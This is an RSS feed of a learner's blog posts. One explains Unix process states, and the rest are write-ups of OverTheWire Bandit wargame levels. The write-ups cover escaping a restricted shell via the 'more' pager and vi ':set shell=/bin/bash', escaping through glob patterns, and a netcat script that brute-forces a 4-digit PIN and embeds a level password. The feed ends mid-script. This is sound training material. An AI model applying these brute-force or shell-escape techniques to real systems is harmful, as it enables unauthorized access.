<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Zak M</title>
    <description>The latest articles on Forem by Zak M (@z_m_570bc25c2745).</description>
    <link>https://forem.com/z_m_570bc25c2745</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3751326%2Fc7ff631d-b238-4bf4-9e1d-871ba340bcc3.JPG</url>
      <title>Forem: Zak M</title>
      <link>https://forem.com/z_m_570bc25c2745</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/z_m_570bc25c2745"/>
    <language>en</language>
    <item>
      <title>The Silent Process</title>
      <dc:creator>Zak M</dc:creator>
      <pubDate>Sun, 15 Feb 2026 19:25:29 +0000</pubDate>
      <link>https://forem.com/z_m_570bc25c2745/the-silent-process-371e</link>
      <guid>https://forem.com/z_m_570bc25c2745/the-silent-process-371e</guid>
      <description>&lt;p&gt;The goal here was to effectively understand the difference between waiting, finishing and killing. &lt;br&gt;
&lt;strong&gt;Waiting&lt;/strong&gt;: When a process is waiting, it is silent, nothing happens, nothing is shown it is just waiting. On this occasion the silence does not give you any information, so you have to understand the language the system is speaking in order to understand what is happening. Do not assume what is happening if you are not sure, ask someone who knows or do research in order to avoid mistakes that can cost your company money. Here is why assuming the reason for silence is dangerous, silence means &lt;u&gt;unresolved dependency&lt;/u&gt;, and unless you know what those dependencies are DO NOT ASSUME. &lt;br&gt;
     "Unresolved dependency" means make sure you are assuming correctly because the process may still be running and in this case on the cloud that means money is being spent…&lt;br&gt;
It means a process is still running, a job is still being done that is why there is no information being displayed or nothing is happening because unless the process is over, and the job is done, it is still waiting.&lt;br&gt;
So that is what waiting is.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Finishing&lt;/strong&gt; is the fulfillment of the process function. Meaning, the process started, respected all the contract it had with the kernel and gave back to the user what the user assumed it would get. For example: cat dot.txt → should print the contents of dot.txt on the terminal and then the process is over. Or cat dot.txt → should give you an error if the file doesn’t exist. &lt;br&gt;
Both these scenarios are the process completing its function and being done. And the only way for it to do that is to observe an EOF (CTRL+D) indication(sign) that says the door is closed and there would be no more data to be sent. At that moment, the process can move from waiting to finishing. &lt;/p&gt;

&lt;p&gt;“EOF is an explicit indication that the input source is closed and no more data can arrive.”&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Killing&lt;/strong&gt; is the part where the process has no choice but to finish. Regardless of its function agreement, killing a process means stopping everything right now. And because of the contract between the program and the kernel, the process will be forced to be done without completing its function. One of the ways to kill a function is to send a signal (CTRL+C). &lt;br&gt;
Here is a way of thinking about it by roles: &lt;/p&gt;

&lt;p&gt;The user: the user role is to communicate with the process through the kernel to decide the progress of the process. And this is because the user is the one typing, stdin... So if the user understands the rules and the language of the system, they will understand that for the proper progress of the process we need to shut that door calmly and for that we need the process to observe EOF. &lt;/p&gt;

&lt;p&gt;EOF : This is an explicit indication(sign) that tells the process the door is shut. So the process decides that there is no more waiting &lt;br&gt;
The process: Observe either the EOF and say well the job for that door is over, it is time for me to fulfill my function. So it closes on its own. Or it observes a signal sent by the kernel, which in this case the process says: well I don't know if there is supposed to be more inputs coming because the door is not shut (EOF not observed) but it is time for me to fulfill my end of the contract with the kernel. &lt;/p&gt;

&lt;p&gt;The kernel: Just enforce termination. You observed your EOF , fulfilled your function now you just got to fulfill your contract and me mine, so I will enforce termination. Or well, you didn't observe your EOF however, I sent you a signal that says you must stop right now, so fulfill your contract and stop even if you did not honor your function, not by choice but it is in our agreement... &lt;/p&gt;

&lt;p&gt;To explain the difference between waiting, finishing and killing: &lt;br&gt;
Waiting is an unresolved dependency, in this case stdin... waiting for input... &lt;br&gt;
Finishing is the observation of the EOF and &lt;br&gt;
Killing is the receipt of a signal by the kernel…&lt;/p&gt;

&lt;p&gt;Waiting = nothing has been decided&lt;br&gt;
Finishing = the process decided&lt;br&gt;
Killing = the kernel decided&lt;/p&gt;

&lt;p&gt;P.S: This reflects my current understanding. If I missed nuance I would appreciate correction. The goal is to get an accurate mental model so it stays in mind and not to be perfect. If there is any questions please don't hesitate to ask.&lt;/p&gt;

</description>
      <category>productivity</category>
      <category>programming</category>
      <category>softwareengineering</category>
      <category>sre</category>
    </item>
    <item>
      <title>Bandit Level 32-33(Spoiler)</title>
      <dc:creator>Zak M</dc:creator>
      <pubDate>Sun, 08 Feb 2026 16:39:05 +0000</pubDate>
      <link>https://forem.com/z_m_570bc25c2745/bandit-level-32-33spoiler-1i6i</link>
      <guid>https://forem.com/z_m_570bc25c2745/bandit-level-32-33spoiler-1i6i</guid>
      <description>&lt;p&gt;The Maze… &lt;br&gt;
Well I guess put this at the same level as 25-26, but with a bigger and more frustrating twist ? Lol… However, it was not frustrating this time, it was just… confusing?&lt;/p&gt;

&lt;p&gt;Well, it was an actual maze, no maps, no direction to go, no change the scale of your screen to get a pager or whatever, no…&lt;/p&gt;

&lt;p&gt;It felt very confusing because again, I have never seen or dealt with anything like this before, at least I don’t think so… &lt;/p&gt;

&lt;p&gt;So what was the goal? &lt;br&gt;
Well, just like each level, the goal is to get to the flag and get the password, but this was a little different. I mean it did say time to escape, so I was thinking: “Well, this is a prison.” So the mindset was, I will try to figure out what language this program speaks and understand, and maybe we can go from there. Initially, because everything I will type would just come back in uppercase and nothing else but a denied permission, I thought: “Oh, maybe it is just switching whatever I type to a different case. Therefore, I tried typing in uppercase, but well, nothing happened.&lt;/p&gt;

&lt;p&gt;So I thought, nothing is happening, with letters, numbers… But hummm, let’s try symbols? And this is where I started learning deep about wild cards or globbing characters.&lt;br&gt;
Well, I knew a little bit about (*), matching pretty much everything if no precision is given. But the one I actually learned the most about is (?). What an interesting, cool and important wildcard.&lt;/p&gt;

&lt;p&gt;Well, since you asked, how does (?) work?&lt;br&gt;
(&lt;em&gt;): Matches everything&lt;br&gt;
(?): Matches the number of characters. &lt;br&gt;
Let me give you an example: say you have created a folder named: thisfolder, and inside you have the files: this.file, tha.tfile, the.files.&lt;br&gt;
As you can see, “thisfolder” has 3 different files that all have 9 characters. &lt;br&gt;
So how do you get to them? The folder has 10 characters, so you get to it like this: /?????????&lt;br&gt;
Assuming that the folder is inside root / folder. Now if you press enter, well it will tell you where you are. You have found the folder. Now you wanna see what is inside the folder… If there are not 300 executable files, you can do /??????????/&lt;/em&gt;: This will run or show everything that resides inside that folder.&lt;/p&gt;

&lt;p&gt;Now that you see what is inside, let’s say you wanna open one of them, well you know all you got to do is match the characters. Well , /?&lt;em&gt;10/?*9, this will give you the same results as /?*10/&lt;/em&gt; because it would still match everything in your folder since they all have 9 characters. But then you can look at the difference, anything that jumps up about the folder. Inside this folder, all the files have (.) in different places in their name. &lt;/p&gt;

&lt;p&gt;So the solution is to match the same exact path and character placement as the one that you are trying to explore. And that is how I escaped. I matched the path to /vim.basic, opened it then opened a terminal. &lt;/p&gt;

&lt;p&gt;I was also wondering if there was a different way of escaping, so I will check other people's answers as well . But, GG baby, we are done.&lt;/p&gt;

&lt;p&gt;"Whhhaaatttt… Others, just did $0… Lol, I like my method better though, but damn lol"&lt;br&gt;
Yeah this was a genuine reaction because I did spend hours trying to escape that maze, so I was just like: "Eh... I did it best"&lt;br&gt;
It was the pain talking, hahaha...&lt;/p&gt;

&lt;p&gt;I think that was a clever way to solve that problem and that would have saved me a lot of time but I was probably not going to learn much. &lt;br&gt;
Question though, what is $0? And how does it work?&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>linux</category>
      <category>learning</category>
      <category>coding</category>
    </item>
    <item>
      <title>Bandit game: Level 25-26</title>
      <dc:creator>Zak M</dc:creator>
      <pubDate>Fri, 06 Feb 2026 06:47:24 +0000</pubDate>
      <link>https://forem.com/z_m_570bc25c2745/bandit-game-level-25-26-1e31</link>
      <guid>https://forem.com/z_m_570bc25c2745/bandit-game-level-25-26-1e31</guid>
      <description>&lt;p&gt;Writing my thoughts...Started off very depressing… &lt;/p&gt;

&lt;p&gt;"&lt;br&gt;
I think this level was maybe the most frustrating and most terrifying. I still don’t fully understand it even after getting some help, a lot of things are still a blur. I think this shows and means a couple of things:&lt;br&gt;
I still need more practice&lt;br&gt;
Understanding what to expect is very crucial at least have an idea of what to expect&lt;br&gt;
But humm I am not sure… I don’t think it is a skill problem&lt;br&gt;
I have had a lot of moments throughout this journey that when I figure out something, something clicks… But so far I can’t even come up with an analogy… &lt;br&gt;
My question just remained, WHY?? Why? Why is it like that ?? &lt;br&gt;
So until that question is answered I don’t think I will be satisfied. I understand what happened, how it happened, maybe I also know why it happened. But I don’t know, something is still missing. I think it is because I am not very familiar with certain tools and how they work. For example, how and why can I go from MORE, to vim / vi ? But also, vi is a text editor, why am I able to modify shells from there?? &lt;/p&gt;

&lt;p&gt;I think I get what happened… as I am walking through this in my head… Lemme see. So here is what I think happened.&lt;br&gt;
And full disclosure I got the password by looking at someone else's answer, thank you to them but it was so incomplete, nonetheless they did help me… &lt;/p&gt;

&lt;p&gt;So here is how it was set up, when I found out about “more” being replaced as PID 1, I realized in the back of my mind that it did take the role of the parent. One of the PID 1 roles is to reap processes or orphans, etc… But also, just like ChatGPT was pointing at, PID 1 has no parents. Therefore, if the program, the command, etc… sits on top as PID 1 and if it decides to exit, then the entire thing ends, there is nothing to fall back on, it is the root of the tree. &lt;br&gt;
However, I can have child processes, it just happens to be that vi can be one of MORE child processes. &lt;br&gt;
How did I find out about that ? &lt;br&gt;
Well when access vi, set a shell and get a shell, once you exit, you fall back on guess what ? MORE… I was confused at first, and this explanation may be even more confusing, but it made at least something click: Anything can be PID 1, or at the top of the tree and control the rest of the things. Now, to navigate whatever is on top, you need to know how it works and I think that is one of the things I was missing. &lt;br&gt;
""&lt;br&gt;
Damn, I was going through it😂😂😂. &lt;/p&gt;

&lt;p&gt;"&lt;br&gt;
Why do I say that, well I have been familiar and been using a shell by default this whole entire time so I know how it works, I know I can type commands, I know I can see permissions etc… and you know what other capabilities that interactive shell gave me ?? an exit capability… I know how to exit, I know my way around it. &lt;/p&gt;

&lt;p&gt;I don’t know if my own explanation makes sense so far but what I will remember is that having a shell is not a default behavior, you can decide what to have on top. Meaning I could literally write a program or put anything on top of the program and decide what goes and what doesn’t. But I think there is a limit to making anything PID 1 otherwise people wouldn’t be getting hacked… &lt;/p&gt;

&lt;p&gt;I think this explanation makes sense to me and  I think that is the “aha”, “click” moments that I was looking for: &lt;br&gt;
I did not understand what was sitting at the top&lt;br&gt;
I did not know how it works or how to navigate it. &lt;/p&gt;

&lt;p&gt;I guess that is what they were saying about capabilities and stuff… Very interesting indeed… So I gotta learn more… I think I need to build something like that or reverse engineer something to completely understand it&lt;/p&gt;

&lt;p&gt;REALIZATION: After reading chatGPT explanation:&lt;br&gt;
OHHH So, in terms of security interaction is dangerous... If I can Interact then I will find a way to understand you and if I can understand you I can find a way to exploit your environment... That is why bash is very not safe. MORE you can interact with but unless you know how it works, you will feel stuck... And the other thing about MORE is that it doesn't really tell you much, you just kind of have to know it. It has commands that it agrees with but most of them are not your day to day type of commands, so you can feel lost and trapped... But the reality is very simple: YOU JUST DON'T KNOW HOW IT WORKS... How to interact with it... It was never about how to get to the flag, getting there is easy, here the top dog, top parent himself was a level of security, a maze, which is different from a default shell where you can get access then start protecting the rest... &lt;/p&gt;

&lt;p&gt;OHHHHHH now the security network makes sense, I learned about it last time and I have started thinking as a defender as well... And I do remember mentioning that it is hard to separate your brain from an attacker mindset, trying to get to the flag, to a defender mindset... But part of learning that also taught me that the best security is not even letting anyone see the wall... So confusion is part of it. create a maze, you secure the whole thing, and this time it was from the top, most of the time it is okay to access the first layer, sure, here is a shell... But then certain things inside are protected by permission, this and that... But in this case, we are protecting that interactive shell that we are so used to because nothing there is secure. Maybe you just need to know certain syntax but other than that once you are passed that maze you are good... Damn... Pretty good&lt;/p&gt;

&lt;p&gt;Wasn’t blocked by complexity — but blocked by language.&lt;br&gt;
When nothing works, don’t try harder — change grammar.&lt;br&gt;
""&lt;br&gt;
Too many 💡💡&lt;/p&gt;

&lt;p&gt;"&lt;br&gt;
Project: &lt;br&gt;
If I was a defender, how would I keep myself from finding this? OR better what would I do to confuse myself even more that I won’t even be able to think about something to research or look up. Build something that can make one think they have an idea, give enough clues to stir them in the wrong direction though… Clues to waste their time but at the same time every keystroke or attempt are recorded to alert me so I can change or build more safety… Build something simple enough that anybody can understand easily if explained but will waste time searching by themselves…&lt;/p&gt;

&lt;p&gt;So what am I thinking about ?? a custom thing… Shell is very telling and leaks a lot of information. But I can’t build anything that big yet because I am still trying to learn, but this project should be small enough to not take an entire week for me to build it but big enough for me to understand how it works even deeper… &lt;br&gt;
So what about we build a maze?”&lt;br&gt;
Now I am probably not going to build it but it is a cool idea… maybe I will&lt;br&gt;
“Question: If you write a program or an application, can you customize the navigation properties?? Or does it have to follow certain rules ?? &lt;br&gt;
What kind of program or app can sit on top of the tree? PID 1… &lt;/p&gt;

&lt;p&gt;Maybe after this project after understanding this concept on a deeper level I can build something bigger, a maze inside of a maze… The only way out is to give up but the way in is fairly simple. However, create enough false routes to confuse you, just enough to waste a very big amount of time and at the same time capture all your attempts.&lt;br&gt;
Then automate freshness… Once something is recorded or logged… switch mazes… Ohh How about creating 2-3 different mazes ? but each one switches based on the capabilities of the attacker ? This sounds cool so we can work towards building that… Maybe a smaller version first to be good and not die and burnout”&lt;br&gt;
""&lt;br&gt;
Well I watch too many movies... I am probably not building that but it sounds like a cool idea&lt;/p&gt;

&lt;p&gt;Here is the solution (SPOILER):&lt;br&gt;
"&lt;br&gt;
I forgot to talk about something very important… So how do we even pass this level?? Damn I am still in shock or amaze how this thing can turn into such a maze that you get lost. &lt;br&gt;
So the goal is to get you a shell.&lt;br&gt;
So here is the process: &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Make sure that your terminal screen is small enough to see about 2-3 lines, that will change the connection mode I think, to give you an interactive window for you to not get kicked out directly&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Once you are inside, you will land on the “more” pager, now you gotta find a way to get a shell. &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Luckily, we can invoke, or “more” is capable of spawning children and it can spawn vi(vim) text editors. The vi text editor is a very powerful text editor that gives you capabilities to write a file, edit, etc… Everything a text editor can do. It can also run commands, so the vi editor has two mode: To type and run command&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;So how do you get “vi” inside “more” pager? Just press “v” the keystroke will invoke the text editor.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;From there you can run commands, and ask for a shell. How to do that, set the shell to whatever shell environment you are comfortable with. So run this command one after the other&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;:set shell=/bin/bash [ENTER]. This command will set the shell environment to bash ( pretty much the most popular or default shell for command lines). Then type&lt;br&gt;
:shell[ENTER]. This command will take you out of the vi editor space to the command shell where you can run commands. Then do what you gotta do and find the password…&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;However, if you have been following, you will understand that we have entered 3 different spaces: the “more” pager, the vi text editor and now we are here, in the shell. &lt;br&gt;
The relationship between those 3 spaces is of parent-child. So More → vi → shell… Now to exit this maze you gotta: shell → vi → More… that is the only way otherwise you are stuck, like I did.. SMH… Because I did not understand where I was, I got confused and got stuck and couldn’t leave. &lt;br&gt;
So how to get out:&lt;br&gt;
To leave the shell: this is the easiest part because we do this all the time, just : exit [ENTER]. Now remember, that is just one layer. When you exit the shell you fall back on vi. So it goes now vi → More&lt;br&gt;
To exit vi: This is where I got stuck because I thought I was already inside more after exiting the shell… To exit vi: &lt;br&gt;
Make sure you are in normal mode: Press ESC&lt;br&gt;
From there you can exit vi with :q! ( to quit without saving )&lt;br&gt;
:wq ( to save any changes then quit)&lt;br&gt;
Or ZZ (shift+Z*2) Short cut to save and quit as well&lt;br&gt;
After leaving the vi editor, only then you can leave more&lt;br&gt;
To exit “more”: Just type “q”. &lt;br&gt;
""&lt;/p&gt;

&lt;p&gt;That is all.&lt;/p&gt;

&lt;p&gt;But I will tell you what though? This is a hell of a way to learn about processes… I heard people saying they got stuck or broke their computer, I am pretty sure they met something like this…&lt;br&gt;
So I read about processes and stuff, understood a bit how it works, so it is pretty fun&lt;/p&gt;

&lt;p&gt;Please any feedback or was there a better way to solve this?&lt;br&gt;
Lemme know how you would have solved this&lt;/p&gt;

</description>
      <category>beginners</category>
      <category>linux</category>
      <category>programming</category>
      <category>productivity</category>
    </item>
    <item>
      <title>Solving bandit level:24-25 (Spoiler)</title>
      <dc:creator>Zak M</dc:creator>
      <pubDate>Wed, 04 Feb 2026 21:03:28 +0000</pubDate>
      <link>https://forem.com/z_m_570bc25c2745/solving-bandit-level24-25-spoiler-3gcg</link>
      <guid>https://forem.com/z_m_570bc25c2745/solving-bandit-level24-25-spoiler-3gcg</guid>
      <description>&lt;p&gt;Excuse the mess since I am posting pretty much my thoughts process here and I am working on my post-mortem skills. It gets better from here though, I think. &lt;/p&gt;

&lt;p&gt;This is how I solved this level of the bandit game, so if you are learning Linux on OverTheWire with bandit please skip this if you don't wanna get spoiled. &lt;/p&gt;

&lt;p&gt;If you know how to solve this differently please I would love to know how you did it. &lt;/p&gt;

&lt;p&gt;I said &lt;em&gt;SPOILER&lt;/em&gt; because if you copy the script you will get the answer without trying yourself and I believe it is waaayyy more fun to actually try it yourself. I posted the script though, so that if you look at it and see where I can improve and do better next time lemme know. &lt;/p&gt;

&lt;p&gt;I appreciate the feedback&lt;/p&gt;

&lt;p&gt;The vital signs:&lt;/p&gt;

&lt;p&gt;Level Name: Bandit 24 → 25&lt;br&gt;
Struggle Time: 3 - 4 hours&lt;br&gt;
Complexity: 7/10… I think the logic was pretty straightforward…. But I struggled a bit with the right syntax&lt;br&gt;
50% The hunt ( Offense and Strategy ):&lt;br&gt;
    The way I went about it was that I knew I was supposed to use a loop… The problem was just that I didn’t know how I would stop the loop… So finding out what any type of leaks or signals or I don’t know, anything I could use to stop the loop was a priority…&lt;br&gt;
So I first tried connecting manually with the wrong password. I realized that sometimes people will leave signs, oracles… For example, the same output every time the wrong data are submitted… So I used that to my advantage. That was really what it took to be honest because the rest was just implementing the logic and understand the syntax of certain commands&lt;br&gt;
Here is the code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/usr/bin/env bash &lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Let's get this password"&lt;/span&gt; 
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;" "&lt;/span&gt; 
&lt;span class="nv"&gt;HOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"localhost"&lt;/span&gt; 
&lt;span class="nv"&gt;PORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;30002 
&lt;span class="nv"&gt;Passwd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"&lt;/span&gt; 
&lt;span class="nv"&gt;output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$Passwd&lt;/span&gt;&lt;span class="s2"&gt; 0000"&lt;/span&gt;&lt;span class="s1"&gt;'\n'&lt;/span&gt; | nc &lt;span class="nt"&gt;-q&lt;/span&gt; 0 &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOST&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$PORT&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="c"&gt;#This just saves the result of the first attempt, which is wrong on purpose&lt;/span&gt;

&lt;span class="c"&gt;#Get the pin and save one at the time inside a variable &lt;/span&gt;
&lt;span class="nb"&gt;seq&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"%04g"&lt;/span&gt; 0 9999 | &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; pin&lt;span class="p"&gt;;&lt;/span&gt; 
&lt;span class="k"&gt;do 
if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="s2"&gt;"Wrong"&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then 
&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"The server response is: "&lt;/span&gt;&lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="s2"&gt;" "&lt;/span&gt; 
&lt;span class="nb"&gt;exit &lt;/span&gt;0 
&lt;span class="k"&gt;else 
&lt;/span&gt;&lt;span class="nv"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$((&lt;/span&gt;i+1&lt;span class="k"&gt;))&lt;/span&gt; 
&lt;span class="c"&gt;#Start counting iterations &lt;/span&gt;
&lt;span class="nv"&gt;output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$Passwd&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$pin&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s1"&gt;'\n'&lt;/span&gt; | nc &lt;span class="nt"&gt;-q&lt;/span&gt; 0 &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOST&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$PORT&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; 
&lt;span class="c"&gt;#Print every 100th attempt pin code &lt;/span&gt;
If &lt;span class="o"&gt;((&lt;/span&gt; i % 100 &lt;span class="o"&gt;==&lt;/span&gt; 0&lt;span class="o"&gt;))&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then 
&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Tried "&lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt;" pins. Current pin: "&lt;/span&gt;&lt;span class="nv"&gt;$pin&lt;/span&gt;&lt;span class="s2"&gt;" "&lt;/span&gt; 
&lt;span class="k"&gt;fi 
fi
done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;30% Architectural (The Why)&lt;/p&gt;

&lt;p&gt;To get the pins though, I struggled a little bit because first I was just generating all possible 4-pins combos and putting them in a variable… I did not realize that that’s what that variable would contain (All possible pins) therefore making the pin false… So I thought I should probably use a loop to iterate the pin generating command and save one pin at the time inside the variable, then use that variable to send the pins:&lt;/p&gt;

&lt;p&gt;//Get the pin and save one at the time inside a variable&lt;br&gt;
seq -f "%04g" 0 9999 | while read -r pin;&lt;/p&gt;

&lt;p&gt;20% Defensive&lt;br&gt;
So I am also trying to break my own code after solving each level so I learned about how timing can be one of the greatest leaks… So since my code assumes that I can just submit the password at the same time as I am connecting to the server, if I was a defender I would delay the interaction part. You will always get it wrong until I finish showing the full banner. However, since the full banner comes in 2 lines, I am going to delay the second line… &lt;/p&gt;

&lt;p&gt;The “aha” moment I had while doing this was understanding the difference between timeout and -q… This was pretty pretty cool… &lt;br&gt;
Anyways, that is the little post mortem. &lt;/p&gt;

&lt;p&gt;Here below is the messy steps I recorded:&lt;/p&gt;

&lt;p&gt;This is for all the note I will be taking and keeping for bandit24-25:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Yes I can just connect to a port from the inside a bash script...
&amp;gt;&amp;gt; nc localhost 30002... This would work to connect.
Now I am thinking, I think I know how to do this but I just forgot how, I should prompt the user to press enter before the rest
of the script keeps going or goes to the next:
&amp;gt;&amp;gt; read -rp "Press enter to continue..."
I don't think there is a clean way to do that. So we will just directly connect to the port and then send the data asked
NO need to overcomplicate the script when we only need one thing.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;==Strategy&lt;br&gt;
So I am thinking:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;I already know in what format they want us to send the data&lt;/li&gt;
&lt;li&gt;I know how to generate the pin codes.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;==To-do&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Combine both to send the data to the port&lt;/li&gt;
&lt;li&gt;Also, how can I capture the failure message?
&amp;gt;&amp;gt; output="$( printf 'pass pins' | timeout 2 nc localhost 30002 )" this will capture the stdout that I can use to check my loop&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;I will try something:&lt;br&gt;
output="$(nc localhost 30002)"&lt;br&gt;
Let's see how that works.&lt;/p&gt;

&lt;p&gt;==Attempts:&lt;/p&gt;

&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;seq -f "%04g" 0 9999&lt;br&gt;
This is the fastest way to generate the 4-pins code, I tested it with the "time" command and ran 2 scripts to choose which one&lt;br&gt;
was the fastest, but how can I use this iteration as a loop counter to keep going until I get&lt;br&gt;
the right pin ??&lt;br&gt;
I can use the while loop which checks with the statement instead of a counter.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;

&lt;p&gt;==First:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/usr/bin/env bash&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Let's get this password"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;" "&lt;/span&gt;
&lt;span class="nv"&gt;HOST&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"localhost"&lt;/span&gt;
&lt;span class="nv"&gt;PORT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;30002
&lt;span class="nv"&gt;Passwd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8"&lt;/span&gt;
&lt;span class="nv"&gt;Pin&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt; &lt;span class="nb"&gt;seq&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"%04g"&lt;/span&gt; 0 9999 &lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nv"&gt;output&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt; &lt;span class="nb"&gt;printf&lt;/span&gt; &lt;span class="s1"&gt;'"$Passwd" "$Pin"\n'&lt;/span&gt; | &lt;span class="nb"&gt;timeout &lt;/span&gt;2 nc &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOST&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$PORT&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$output&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt;&lt;span class="s2"&gt;"Wrong"&lt;/span&gt;&lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;
&lt;span class="k"&gt;do
